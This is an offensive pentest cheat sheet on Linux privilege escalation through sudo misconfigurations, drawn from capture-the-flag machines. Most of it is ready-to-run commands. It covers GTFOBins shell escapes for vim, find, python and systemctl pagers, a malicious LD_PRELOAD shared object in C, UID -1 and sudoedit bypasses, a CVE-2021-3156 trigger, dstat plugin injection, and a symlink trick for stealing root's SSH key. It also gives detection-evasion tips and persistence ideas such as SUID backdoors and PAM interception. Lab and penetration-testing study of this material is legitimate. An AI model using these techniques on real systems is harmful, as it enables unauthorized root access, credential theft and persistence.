Sudo Abuse
#Overview
Sudo misconfigurations are the most common Linux privilege escalation vector. A user allowed to run specific commands as root may be able to leverage shell escapes, environment variable manipulation, or known sudo version vulnerabilities to gain a full root shell. The sudo -l command is the single most important first step in Linux enumeration.
#Prerequisites
- User-level shell access
sudo -lmust return results (user has sudo privileges)- GTFOBins for command-specific escapes: https://gtfobins.github.io/#+sudo
#Detection & Enumeration
# List allowed sudo commands
sudo -l
# Example output analysis:
# (ALL) NOPASSWD: /usr/bin/find -- can run find as root without password
# (ALL : ALL) ALL -- full root (password required)
# (root) /usr/bin/vim -- can run vim as root
# (ALL, !root) /bin/bash -- all users EXCEPT root -- bypassable!
# Check sudo version (may be vulnerable to CVEs)
sudo --version
# Check if env_keep includes dangerous variables
sudo -l | grep -i env
#Exploitation / Execution
#GTFOBins Sudo Entries
For any command in sudo -l, check GTFOBins. Common sudo-based escapes:
# sudo vim
sudo vim -c ':!/bin/bash'
# sudo find
sudo find . -exec /bin/bash \; -quit
# sudo less / more
sudo less /etc/hosts
# Inside less: !/bin/bash
# sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'
# sudo nmap (old versions)
sudo nmap --interactive
nmap> !sh
# sudo python/perl/ruby
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
# sudo git
sudo git -p help config
# Inside pager: !/bin/bash
# sudo systemctl (systemd < 245 vulnerable to CVE-2023-26604)
sudo systemctl status trail.service
# When pager opens: !/bin/bash
Real example from Sau: sudo -l showed permission to run /usr/bin/systemctl status trail.service as root. Systemd 245 was vulnerable to CVE-2023-26604, where the less pager inside systemctl status allowed shell escape via !/bin/bash.
#LD_PRELOAD with env_keep
When sudo's env_keep preserves LD_PRELOAD:
# Check if env_keep includes LD_PRELOAD
sudo -l
# Output: env_keep+=LD_PRELOAD
# Create malicious shared object
cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0); setgid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /tmp/exploit.so /tmp/exploit.c -nostartfiles
sudo LD_PRELOAD=/tmp/exploit.so <allowed_command>
#Sudoedit Bypasses
When sudoedit is allowed:
# If sudoedit is allowed on any file, and SUDO_EDITOR can be set:
export SUDO_EDITOR=/bin/bash
sudoedit /etc/hosts # Opens bash instead of editor
# Alternative: use -- to pass editor argument
sudoedit -- -c '!/bin/bash'
#NOPASSWD Exploitation
NOPASSWD means no password prompt -- useful for scripted exploits:
# (root) NOPASSWD: /usr/bin/vim
# Simply run:
sudo /usr/bin/vim -c ':!/bin/bash'
# No password required -- instant root
#Sudo Version Vulnerabilities
CVE-2021-3156 (Baron Samedit / sudoedit heap overflow):
# Affects sudo 1.8.2 to 1.8.31p2 and 1.9.0 to 1.9.5p1
sudoedit -s '\' $(python3 -c "print('A'*1000)")
# Exploit available: https://github.com/blasty/CVE-2021-3156
#Sudo with !restricted Commands (Bypass)
When sudoers restricts certain commands:
# Sudoers entry: (ALL, !root) /bin/bash
# This means "all users EXCEPT root" -- bypassable:
sudo -u#-1 /bin/bash # -1 UID wraps to 0 (root)
sudo -u#4294967295 /bin/bash # Same effect on 64-bit
# Sudoers: user ALL=(root) !/bin/sh, /usr/bin/*
# Means user can run anything in /usr/bin except /bin/sh
# But /usr/bin/* includes lots of escape-capable binaries
sudo /usr/bin/python -c 'import os; os.system("/bin/bash")'
#Sudo Tokens and Caching
# Sudo tokens are cached (default 15 minutes)
# Check if a sudo token exists:
sudo -k # Invalidate current tokens
# If you have a recent sudo session elsewhere (shell upgraded to a different user):
# Check timestamp
sudo -v # Validate (refresh) sudo timestamp
# Timestamps are stored in:
ls -la /var/run/sudo/ts/
#Systemctl Pager Escape (CVE-2023-26604)
This specific vulnerability affected systemd <= 245 where systemctl status invokes a pager without setting LESSSECURE=1:
sudo /usr/bin/systemctl status trail.service
# When the pager (less) opens, type:
!/bin/bash
# Root shell spawned because pager inherits sudo privileges
Real example from Sau: sudo /usr/bin/systemctl status trail.service followed by !/bin/bash produced a root shell.
#dstat Plugin Abuse via doas (Sudo Alternative)
Real example from Soccer: doas (alternative to sudo) allowed player to run dstat as root:
cat /usr/local/etc/doas.conf # permit player as root cmd dstat
# dstat supports Python plugins in /usr/local/share/dstat/
echo 'import os; os.system("/bin/bash")' > /usr/local/share/dstat/dstat_pwn.py
# Verify plugin is detected
doas /usr/bin/dstat --list
# Execute custom plugin as root
doas /usr/bin/dstat --pwn # --pwn triggers dstat_pwn.py, spawning root shell
#Sudo Symlink Following
Real example from Monitored: sudo allowed running getprofile.sh which followed symlinks to root's SSH key:
sudo -l # (root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
# The script copies phpmailer.log tail into a profile directory
# Create a symlink to target root's SSH key
ln -s /root/.ssh/id_rsa /usr/local/nagiosxi/tmp/phpmailer.log
sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1
# The profile now contains root's private key
unzip /usr/local/nagiosxi/var/components/profile.zip
ssh -i id_rsa root@target
#sudo -l Output Interpretation
Common output formats and what they mean:
| Output | Meaning |
|---|---|
(root) NOPASSWD: /usr/bin/vim | Run vim as root without password |
(ALL : ALL) ALL | Run any command as any user (basically root) |
(root) /usr/bin/cat /var/log/* | Run cat on /var/log/* as root (path traversal possible) |
(root) NOPASSWD: /usr/bin/find | Run find as root (GTFOBins: sudo find . -exec /bin/sh \;) |
(root) NOPASSWD: /usr/bin/python3 | Run python3 as root (sudo python3 -c 'import os; os.system("/bin/sh")') |
(www-data) NOPASSWD: /usr/bin/systemctl | Run systemctl as www-data (service manipulation) |
(root) SETENV: /usr/bin/ffmpeg | Can set environment variables (LD_PRELOAD attack) |
Key flags to look for: NOPASSWD (no auth needed), SETENV (env var control), wildcard paths (traversal)
#Common Pitfalls
- Not checking GTFOBins for every command in sudo -l -- even seemingly benign commands often have escapes
- Assuming a command listed in sudoers is safe because it "looks" safe -- always check GTFOBins
- Forgetting to check sudo version for CVEs -- Baron Samedit (CVE-2021-3156) affected many distributions
- Not checking env_keep for dangerous variables (LD_PRELOAD, LD_LIBRARY_PATH, PERL5LIB, PYTHONPATH)
- The
!rootbypass trick (sudo -u#-1) works on many older sudo configurations - Password-protected sudo may still be exploitable if a sudo token exists (default 15-minute cache)
#OPSEC Considerations
sudo -lis a normal user command and generally not monitored.- Failed sudo attempts (incorrect password) are logged to /var/log/auth.log and may alert administrators.
- Successful sudo shell escapes create processes owned by root visible via audit logs.
- Shell escapes through pagers (less/more) are harder to detect than direct shell spawning.
#Post-Exploitation Value
Sudo exploitation provides root access with full filesystem and process control. Enables: reading protected files (/etc/shadow, /root/), installing SSH key persistence, creating SUID backdoors, modifying PAM modules for password interception, extracting credentials from memory of privileged processes.
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| GTFOBins (sudo section) | https://gtfobins.github.io/#+sudo |
| Baron Samedit exploit | https://github.com/blasty/CVE-2021-3156 |
#Source Machines
- Sau (Easy, Linux) - systemctl status + pager escape via CVE-2023-26604
- Monitored (Medium, Linux) - symlink attack through sudo getprofile.sh to extract root SSH key
- Soccer (Easy, Linux) - doas (sudo alternative) + dstat plugin code execution